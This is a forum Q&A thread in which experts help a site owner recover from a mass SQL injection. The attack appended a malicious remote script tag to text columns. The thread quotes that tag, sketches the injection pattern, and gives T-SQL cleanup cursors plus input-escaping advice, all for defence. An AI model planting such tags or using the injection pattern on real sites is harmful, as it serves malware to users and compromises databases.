Extremely Urgent - SQL injection attack

We have inline SQL in classic ASP. We were running fine for the past 5 years, but we got hit with an injection attack on friday. Before we convert them to stored procedures, somebody help me with options available for damage control.

Below is the script that is getting injected into almost all of the fields in the database:

<script src=http://www.pingadw.com/b.js></script>
It is always added in the end of the data value. Can closing the sql string prevent this? For example
strsql = "insert into user values('" & username & '")" & ""
Can I do an automated text generator and ask the user to input the value to prevent this for time being?
I am in a blindspot here and any help is appreciated. I am willing to give away points as well.

Thanks a lot!!
LVL 1
newofficeAsked:
Who is Participating?
 
Joel CoehoornDirector of Information TechnologyCommented:
Here's the corrected original script.  Just need to adjust the returned charindex by 1 so it also strips out that '<':
DECLARE @T varchar(255),@C varchar(255) 
DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0) BEGIN 
exec('update ['+@T+'] set ['+@C+']=LEFT(['+@C+'], CHARINDEX(''<script'', ['+@C+'])-1)
WHERE CHARINDEX(''<script'', ['+@C+']) >0')
FETCH NEXT FROM Table_Cursor INTO @T,@C 
END 
CLOSE Table_Cursor 
DEALLOCATE Table_Cursor

Open in new window

0
 
chapmandewCommented:
0
 
Guy Hengel [angelIII / a3]Billing EngineerCommented:
strsql = "insert into user values('" & username & '")" & ""
should be:

strsql = "insert into user values('" & replace(username, "'", "''") & '")" & ""

to prevent the attack from being successful, but you should also test the length of the value of username...
0
Ultimate Tool Kit for Technology Solution Provider

Broken down into practical pointers and step-by-step instructions, the IT Service Excellence Tool Kit delivers expert advice for technology solution providers. Get your free copy now.

 
hieloCommented:
0
 
jasonwisdomCommented:
I usually create a function to Replace ' with '':

Public Function FormatSQL(strSQL)
    FormatSQL = Replace(strSql, "'", "''")
End Function

I then convert any Varchar's with the FormatSQL function.
HTH.
0
 
jasonwisdomCommented:
One other thing:
You can place this function into an include file, and include the include file into multiple pages (or all pages).  For Classic ASP apps, I usually have a master include (which contains extremely common Constants and Functions) that is included at the top of every .asp page, or you can put it in its own include file and include that file as needed.

Don't use .inc as an include file extension if you can help it - use .asp as that will help prevent people from viewing your include files as text by hardcode typing the include file's path.
0
 
hieloCommented:
>>I usually create a function to Replace ' with '':
If the user is sending this to be inserted into the db:
<script src=http://www.pingadw.com/b.js></script>

then when the db is queried to obtain the content for his dynamic page, that <script> tag will end up in the source code of the page and subsequently will cause the browser to "fetch" the javascript file and execute it. What he needs to do is to filter out <script> tags from entering into the db. Stored procedures or not, escaped apostrophes or not, the injection here is due to the unfiltered <script> tag.
0
 
Joel CoehoornDirector of Information TechnologyCommented:
This matches the MO of an attackt that's been going around.  This code should put things right, provided you don't have any legitimate instances of the text '<script' in your database:


DECLARE @T varchar(255),@C varchar(255) 
DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0) BEGIN 
exec('update ['+@T+'] set ['+@C+']=LEFT(['+@C+'], CHARINDEX(''<script'', ['+@C+']))
WHERE CHARINDEX(''<script'', ['+@C+']) >0')
FETCH NEXT FROM Table_Cursor INTO @T,@C 
END 
CLOSE Table_Cursor 
DEALLOCATE Table_Cursor

Open in new window

0
 
newofficeAuthor Commented:
dear jcoehoorn:,

can you explain a little bit more?
0
 
Joel CoehoornDirector of Information TechnologyCommented:
That's a modification of the same code that likely infected you in the first place.  It's a bit cryptic because I didn't take the time to change any variable names, but I've had a few people use it successfully to clean their systems.

What it does is query the sysobject and syscolumns tables to get a list of all char, nchar, varchar, and nvarchar columns in the database.  It then loops through the list with a cursor.  The original code appended the bad script.  The modification instead looks for '<script' and removes it and everything to the right in the column if it exists.  So you have any valid instances of '<script' in your data you'll want to tweak this some.  Otherwise it should fix you right up (though it may take a while to run if you have a lot of data).

All this is moot, though, if you don't first fix your web sites to sanitize your database inputs.  If you don't do that you'll be infected again by the end of the week.
0
 
newofficeAuthor Commented:
jcoehoorn: thanks for shedding some light. Looks like you are familiar with this.

At present we do have corrupt data sitting in our database. Does it spread from there? Should i clean this first before fixing my code?
0
 
newofficeAuthor Commented:
does doing kaptcha prevent this?

does inside login pages get affected as well?
0
 
Joel CoehoornDirector of Information TechnologyCommented:
The FIRST thing you should do is take down any web sites that depend on this database, because right now those sites are trying to infect your users with malware.  Perhaps put up a new plain html page that tells your users what is going on.

The SECOND thing you should do is go over your sites with a fine-toothed comb and fix anything that could pass an unsanitized input to your database.  The simplest version there is make sure any string value received from a form replaces single quote/apostrophe (') with two single quotes/apostrophes ('') before going to the database.  Even on select statements that don't make any changes.

The THIRD thing is to use the code I gave you to clean the bad stuff out of your database.

Then you can put the site back up live.
0
 
Joel CoehoornDirector of Information TechnologyCommented:
Capthas will not help, and inside login areas are still affected.
0
 
newofficeAuthor Commented:
jcoehoorn:

We are always deligent on replacing single quotes with double quotes. What we don't have is, the closing of the sql strings. Which is why i believe it is being appended in the end.. or is that the pattern of this type of attack?

My co-worker has a copy of the corrupt database for referencing to fix the issue. Does leaving the copy sitting in the database, affect the cleaned out database?
0
 
hieloCommented:
>>make sure any string value received from a form replaces single quote/apostrophe (') with two single quotes/apostrophes ('') before going to the database.
again, this will not prevent someone from typing this into a textarea as a "Comment":
Great Site! <script src=http://www.pingadw.com/b.js></script>

the src attribute of a script tag does not have to be quoted. What you need to do is before you insert into your db, make sure you are removing it. You could even remove all HTML markup from the input

Function RemoveHTML( strText )
      Dim RegEx
      Set RegEx = New RegExp
      RegEx.Pattern = "<[^>]*>"
      RegEx.Global = True
      RemoveHTML = RegEx.Replace(strText, "")
End Function

"INSERT INTO Tablename (comments) VALUES( "  & Replace(RemoveHTML(Request("comment") ),"'","''") & " )"
0
 
Joel CoehoornDirector of Information TechnologyCommented:
Replacing ' with '' is only the first and most basic sql injection prevention.  What happens is that someone finds an unprotected form field on your site, and puts something like this in it:
';<sql code here>--

The single quote closes whatever literal the string would be included with, and the semi-colon then ends that statment.  Then they can include whatever sql they want and it will run in the same command (be it insert, update, delete, or even SELECT) that would have acted on a normal form field.  Finally, they comment out any remaining sql, since they want to try to avoid causing an error on the page that might be logged.  ASP is an old language now, and you only have to miss one field for this script to find every char or varchar column in your database.  Newer languages like ASP.Net provide some tools to prevent this automatically, if you use them.  

Keeping everything in stored procedures also helps _if you pass the value to the procedure as a parameter_.  If you pass the value to the procedure as dynamic sql, it will just run the procedure and then run your code.
0
 
newofficeAuthor Commented:
My co-worker has a copy of the corrupt database for referencing to fix the issue. Does leaving the copy sitting in the database, affect the cleaned out database?

Does it spread from one table to another?
0
 
Guy Hengel [angelIII / a3]Billing EngineerCommented:
>Does it spread from one table to another?
no, the injections updates all the tables/columns "at once"

@hielo:
>again, this will not prevent someone from typing this into a textarea as a "Comment":
>Great Site! <script src=http://www.pingadw.com/b.js></script>
however, it will prevent the sql injection to run some code in the database! which is the most important.
the second step however is indeed to control the data submitted.
0
 
newofficeAuthor Commented:
Capthas will not help, and inside login areas are still affected.

Can you explain how the internal pages are accessed? I know it has been a long thread.. I am willing to give as many points as you want.. please help! Desperately trying to understand as this is the first time we are being hit and we are down.

we were planning to do capthas.. how does it not work?
0
 
newofficeAuthor Commented:
no, the injections updates all the tables/columns "at once"

-- only some of the columns are affected. Does it mean they are vulnerable fields?
0
 
Guy Hengel [angelIII / a3]Billing EngineerCommented:
>-- only some of the columns are affected. Does it mean they are vulnerable fields?
I should have written:
  all varchar, char, nvarchar, nchar columns large enough to hold the injected data, in tables the account that was able to run the injected query has UPDATE permissions on.

 so, int, dates, etc columns are not affected
 varchar... etc column too small (like varchar(10)) could not hold the new appended data...
 and tables where permissions where lacking neither
0
 
newofficeAuthor Commented:
how do i identify the vulnerable page?
0
 
newofficeAuthor Commented:
also can you explain why kaptchas will not help?
0
 
hieloCommented:
@angeliii:
>>however, it will prevent the sql injection to run some code in the database! which is the most >>important. the second step however is indeed to control the data submitted.
Agree. I am NOT saying "Don't escape the apostrophes". What I am saying is clean your input. Given what was posted originally:
strsql = "insert into user values('" & username & '")" & ""

escaping the apostrophes prevents sql injection, but it seems to this is more of a script injection problem.
0
 
Guy Hengel [angelIII / a3]Billing EngineerCommented:
@hielo: agreed!

@newoffice:
>how do i identify the vulnerable page?
all pages where the code does not check the data, and does not handle the quotes.
0
 
Joel CoehoornDirector of Information TechnologyCommented:
> Can you explain how the internal pages are accessed?

If you have a vulnerable field _outside_ of your login area, the malicious sql script here will still infect _every_ vulnerable column in the database.  So pages inside your login area could still be used by the attacker to server up malicious code to your users, and your users are the real target here.

Page _inside_ your login area cannot be targeted by this script, but there's nothing stopping a different attacker who has a valid login from injecting something else on an internal page.  You still need to sanitize your fields - every field, always.  Leaving even ONE field open anywhere is enough for an attacker to do anything they want to your database.

I suppose Captchas could help in certain scenarios (provided the captcha code itself is secure and runs before anything else does), but since you'd need to include a captcha on _every_ page that accepted any input, and users hate captchas, you should save that as a fix of last resort.  Even then, you should still _sanitize anything that goes to the database_.

http://xkcd.com/327/ 
0
 
Joel CoehoornDirector of Information TechnologyCommented:
One more thing:  I've seen a few other people today (one of them in another EE question) with the same problem.  This is actually round two for this attack, and I wrote that procedure for round 1 back in april.  It looks like they may have changed the attack a little bit, meaning that code is a little out of date now- one other person who tried the code reported that it left the '<' character on the end.  I'm looking at that, and if it's the case it's a simple fix (just as a -1 to the right place in the script).

Actually, I think the error is because it's a different sql server version (7 or 2008) that uses charindex() differently.
0
 
newofficeAuthor Commented:
jcoehoorn:

I used your script to remove the script inserted.. but it is leaving "<" It has removed the rest. How do I remove it? As of now my brain is of no use. Just landed from india yesterday and trying to solve this with a baby in hand :(:(

please please reply.
0
 
Joel CoehoornDirector of Information TechnologyCommented:
This will clean the trailing < characters:

DECLARE @T varchar(255),@C varchar(255) 
DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0) BEGIN 
exec('update ['+@T+'] set ['+@C+']=LEFT(['+@C+'], LEN(['+@C+'])-1 WHERE ['+@C+'] LIKE ''%>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C 
END 
CLOSE Table_Cursor 
DEALLOCATE Table_Cursor

Open in new window

0
 
Joel CoehoornDirector of Information TechnologyCommented:
Oops- there's a typo in there.  Used the other angle bracket.
DECLARE @T varchar(255),@C varchar(255) 
DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0) BEGIN 
exec('update ['+@T+'] set ['+@C+']=LEFT(['+@C+'], LEN(['+@C+'])-1 WHERE ['+@C+'] LIKE ''%<''')
FETCH NEXT FROM Table_Cursor INTO @T,@C 
END 
CLOSE Table_Cursor 
DEALLOCATE Table_Cursor

Open in new window

0
 
newofficeAuthor Commented:
It says incorrect syntax near the keyword 'WHERE'
0
 
Joel CoehoornDirector of Information TechnologyCommented:
Not my day.  Missed a closing parentheses for LEFT() function::
DECLARE @T varchar(255),@C varchar(255) 
DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0) BEGIN 
exec('update ['+@T+'] set ['+@C+']=LEFT(['+@C+'], LEN(['+@C+'])-1) WHERE ['+@C+'] LIKE ''%<''')
FETCH NEXT FROM Table_Cursor INTO @T,@C 
END 
CLOSE Table_Cursor 
DEALLOCATE Table_Cursor

Open in new window

0
 
newofficeAuthor Commented:
ok this is what i have now
Must declare the scalar variable "@T".
0
 
newofficeAuthor Commented:
sorry my bad
0
 
newofficeAuthor Commented:
jcoehoorn:
I was able to remove the script from the data. One final thing...

what do i have to change in your original script to remove the "<" as well? Think almost there to close the question.
0
 
newofficeAuthor Commented:
Thanks jcoehoorn: You saved my day and lot of trouble. We are still being attacked but atleast I can clear them out. you deserve more than 500 points. I will open up couple of other questions.. just answer them and I will accept

again thanks a ton
0
 
newofficeAuthor Commented:
Thanks agian!!!
0
 
Joel CoehoornDirector of Information TechnologyCommented:
Don't worry- I probably won't see them, but it's okay.  I don't do this for points.
0
 
Joel CoehoornDirector of Information TechnologyCommented:
I just saw this run past my newsreader, and since it's relevant I'm posting here:
http://news.cnet.com/8301-10789_3-9976521-57.html?part=rss&subj=news&tag=2547-1_3-0-5
0
Question has a verified solution.

Are you are experiencing a similar issue? Get a personalized answer when you ask a related question.

Have a better answer? Share it in a comment.

All Courses

From novice to tech pro — start learning today.